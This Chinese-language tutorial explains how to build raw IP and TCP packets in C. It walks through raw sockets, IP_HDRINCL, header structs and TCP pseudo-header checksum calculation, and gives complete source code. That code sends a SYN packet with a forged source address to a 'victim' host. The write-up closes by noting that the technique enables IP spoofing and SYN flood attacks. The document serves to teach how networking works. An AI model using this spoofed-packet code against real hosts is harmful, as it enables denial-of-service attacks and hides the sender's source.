通过原始套接字、setsockopt、IP_HDRINCL套接字选项,我们可以在应用进程里面构造自己的IP包:
所以我们在初始化原始套接字之后,可以调用setsockopt函数来开启IP_HDRINCL套接字选项,并且构造自己的IP头,TCP/UDP头,最后再像发送普通包一样调用sendto 、sendmsg等函数发送构造好的数据。
1.首先我们可以先得到一个原始套接字,并且设置IP_HDRINCL套接字选项:【最后的可执行文件需要用root权限执行,可以在shell里面完成,也可以在代码里面完成】
int sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
if (sock < 0) {
perror("Socket Error");
exit(1);
}
const int on = 1;
setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));
2.构造TCP头:【tcp头结构文件在/usr/include/netinet/tcp.h里面】
void initTCPHeader(struct tcphdr* header) {
header->source = htons(9431);
header->dest = htons(4321);
header->doff = sizeof(struct tcphdr) / 4;
header->syn = 1;
header->window = htons(4096);
header->check = 0;
header->seq = htonl(rand());
header->ack_seq = 0;
}
struct tcphdr* tHeader = (struct tcphdr*) malloc(sizeof(struct tcphdr));
memset(tHeader, 0, TCP_HEADER_LEN);
initTCPHeader(tHeader);
3.自己计算TCP首部校验和【
在实验的时候,我发现如果自己不手动算,而是把check字段设置为0的话,内核并不会自动计算校验和,如果校验和不正确的话,会出现SYN包被丢弃的情况】:
① TCP 伪首部:
需要加上一个伪首部,这个首部只用来计算校验和,并不真正地发送给另外一端。
所以我们需要写一个结构体来装这个伪首部:
struct psdHeader {
unsigned int srcIP;
unsigned int destIP;
unsigned short zero:8;
unsigned short proto:8;
unsigned short totalLen;
};
void initPsdHeader(struct psdHeader* header, struct ip* iHeader) {
header->srcIP = iHeader->ip_src.s_addr;
header->destIP = iHeader->ip_dst.s_addr;
header->zero = 0;
header->proto = IPPROTO_TCP;
header->totalLen = htons(0x0014); //因为是SYN包,不带任何的数据,所以总长度就是TCP的首部长度--20字节
}
② TCP 校验和计算:
把TCP首部的校验和字段设置为0,再把TCP伪首部和TCP首部的数据每16位当作一个数,全部相加起来【sum】,如果sum的高16位不为0的话,把高16位加到低16位上面,直到高16位不为0为止,最后这个sum取反就是TCP校验和字段需要填写的数。
unsigned short calcTCPCheckSum(const char* buf) {
size_t size = TCP_HEADER_LEN + sizeof(struct psdHeader);
unsigned int checkSum = 0;
for (int i = 0; i < size; i += 2) {
unsigned short first = (unsigned short)buf[i] << 8;
unsigned short second = (unsigned short)buf[i+1] & 0x00ff;
checkSum += first + second;
}
while (1) {
unsigned short c = (checkSum >> 16);
if (c > 0) {
checkSum = (checkSum << 16) >> 16;
checkSum += c;
} else {
break;
}
}
return ~checkSum;
}
上面代码中需要注意的是: second这个变量:在强制转化成short之后,高8位全部是1,需要把高8位清成0才是正确的【坑了两个小时】其实这里的原因是:
上面的红框里面这个指令会用al寄存器的最高位来填充ax:所以如果al的最高位是0的话,那么结果恰好是正确的,但是如果al的最高位是1的话,那么ah就都是1了,所以会出现高8位都是1的情况。
最后的while循环就是为了处理高16位不为0的情况。
4.构造IP头:【ip头结构文件在/usr/include/netinet/ip.h里面】
const char* victim = "192.168.26.100";
const char* pre = "139.59.252.82";
void initIPHeader(struct ip* header, unsigned short len) {
header->ip_v = IPVERSION;
header->ip_hl = sizeof(struct ip) / 4;
header->ip_tos = 0;
header->ip_len = htons(IP_HEADER_LEN + TCP_HEADER_LEN);
header->ip_id = 0;
header->ip_off = 0;
header->ip_ttl = MAXTTL;
header->ip_p = IPPROTO_TCP;
header->ip_sum = 0;
inet_pton(AF_INET, pre, &header->ip_src.s_addr);
inet_pton(AF_INET, victim, &header->ip_dst.s_addr);
}
这里的IP校验和内核是会帮我们计算的,这点不用担心。注意:上面的pre字符串里面的IP地址是假的IP地址。
5.最后通过sendto函数发送包:
struct sockaddr_in addr;
memset(&addr, 0, sizeof(struct sockaddr_in));
addr.sin_family = AF_INET;
inet_pton(AF_INET, victim, &addr.sin_addr.s_addr);
addr.sin_port = htons(4321);
socklen_t len = sizeof(struct sockaddr_in);
int n = sendto(sock, buf, totalLen, 0, (struct sockaddr*)&addr, len);
6.所有的代码:
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define IP_HEADER_LEN sizeof(struct ip)
#define TCP_HEADER_LEN sizeof(struct tcphdr)
const char* victim = "192.168.26.100";
const char* pretend = "139.59.252.82";
void initIPHeader(struct ip* header, unsigned short len) {
header->ip_v = IPVERSION;
header->ip_hl = sizeof(struct ip) / 4;
header->ip_tos = 0;
header->ip_len = htons(IP_HEADER_LEN + TCP_HEADER_LEN);
header->ip_id = 0;
header->ip_off = 0;
header->ip_ttl = MAXTTL;
header->ip_p = IPPROTO_TCP;
header->ip_sum = 0;
inet_pton(AF_INET, pretend, &header->ip_src.s_addr);
inet_pton(AF_INET, victim, &header->ip_dst.s_addr);
}
void initTCPHeader(struct tcphdr* header) {
header->source = htons(9431);
header->dest = htons(4321);
header->doff = sizeof(struct tcphdr) / 4;
header->syn = 1;
header->window = htons(4096);
header->check = 0;
header->seq = htonl(rand());
header->ack_seq = 0;
}
struct psdHeader {
unsigned int srcIP;
unsigned int destIP;
unsigned short zero:8;
unsigned short proto:8;
unsigned short totalLen;
};
void initPsdHeader(struct psdHeader* header, struct ip* iHeader) {
header->srcIP = iHeader->ip_src.s_addr;
header->destIP = iHeader->ip_dst.s_addr;
header->zero = 0;
header->proto = IPPROTO_TCP;
header->totalLen = htons(0x0014);
}
unsigned short calcTCPCheckSum(const char* buf) {
size_t size = TCP_HEADER_LEN + sizeof(struct psdHeader);
unsigned int checkSum = 0;
for (int i = 0; i < size; i += 2) {
unsigned short first = (unsigned short)buf[i] << 8;
unsigned short second = (unsigned short)buf[i+1] & 0x00ff;
checkSum += first + second;
}
while (1) {
unsigned short c = (checkSum >> 16);
if (c > 0) {
checkSum = (checkSum << 16) >> 16;
checkSum += c;
} else {
break;
}
}
return ~checkSum;
}
int main(int argc, char** argv) {
int sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
if (sock < 0) {
perror("Socket Error");
exit(1);
}
const int on = 1;
setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));
const char* query = "I am a Hacker.\n";
struct tcphdr* tHeader = (struct tcphdr*) malloc(sizeof(struct tcphdr));
memset(tHeader, 0, TCP_HEADER_LEN);
initTCPHeader(tHeader);
struct ip* iHeader = (struct ip*) malloc(sizeof(struct ip));
memset(iHeader, 0, IP_HEADER_LEN);
initIPHeader(iHeader, strlen(query));
struct psdHeader* pHeader = (struct psdHeader*) malloc(sizeof(struct psdHeader));
initPsdHeader(pHeader, iHeader);
char sumBuf[TCP_HEADER_LEN + sizeof(struct psdHeader)];
memset(sumBuf, 0, TCP_HEADER_LEN + sizeof(struct psdHeader));
memcpy(sumBuf, pHeader, sizeof(struct psdHeader));
memcpy(sumBuf + sizeof(struct psdHeader), tHeader, TCP_HEADER_LEN);
int ni = memcmp(sumBuf, pHeader, sizeof(struct psdHeader));
if (ni != 0) {
perror("Compare");
}
ni = memcmp(sumBuf + sizeof(struct psdHeader), tHeader, TCP_HEADER_LEN);
if (ni != 0) {
perror("Compare 2");
}
tHeader->check = htons(calcTCPCheckSum(sumBuf));
int totalLen = IP_HEADER_LEN + TCP_HEADER_LEN;
char buf[totalLen];
memcpy(buf, iHeader, IP_HEADER_LEN);
memcpy(buf + IP_HEADER_LEN, tHeader, TCP_HEADER_LEN);
struct sockaddr_in addr;
memset(&addr, 0, sizeof(struct sockaddr_in));
addr.sin_family = AF_INET;
inet_pton(AF_INET, victim, &addr.sin_addr.s_addr);
addr.sin_port = htons(4321);
socklen_t len = sizeof(struct sockaddr_in);
int n = sendto(sock, buf, totalLen, 0, (struct sockaddr*)&addr, len);
if (n < 0) {
perror("Send Error");
}
printf("Write %d bytes to the server.\n", n);
char buff[3];
buff[0] = 0xab;
buff[1] = 0xbc;
buff[2] = 0xcd;
for (int i = 0; i < 3; ++i) {
unsigned short cu = buff[i];
printf("%x\n", cu);
}
return 0;
}
7.tcpdump抓包的结果:
可以看到服务器的确是收到了这个SYN包,并且发送了SYN+ACK的第二次握手包,但是IP地址是假的,没有最后一次ACK的握手包,所以服务器进行了几次尝试。
第一行是TCP首部检验和填0的时候出现的:内核不会帮我计算校验和,所以服务器并没有接收这个SYN包,下面的都是我对计算校验和作的尝试:都是错误的结果,所以服务器还是不会接收这个SYN包。
8.总结:通过原始套接字,我们可以自己构造IP,TCP首部,这样就可以伪造IP地址,端口号,TCP可以形成SYN攻击,UDP可以发送假的IP和端口号的数据包到服务器。
9.知识点:原始套接字,套接字选项,IP首部,TCP首部,校验和的计算,位操作,C/C++冒号操作符。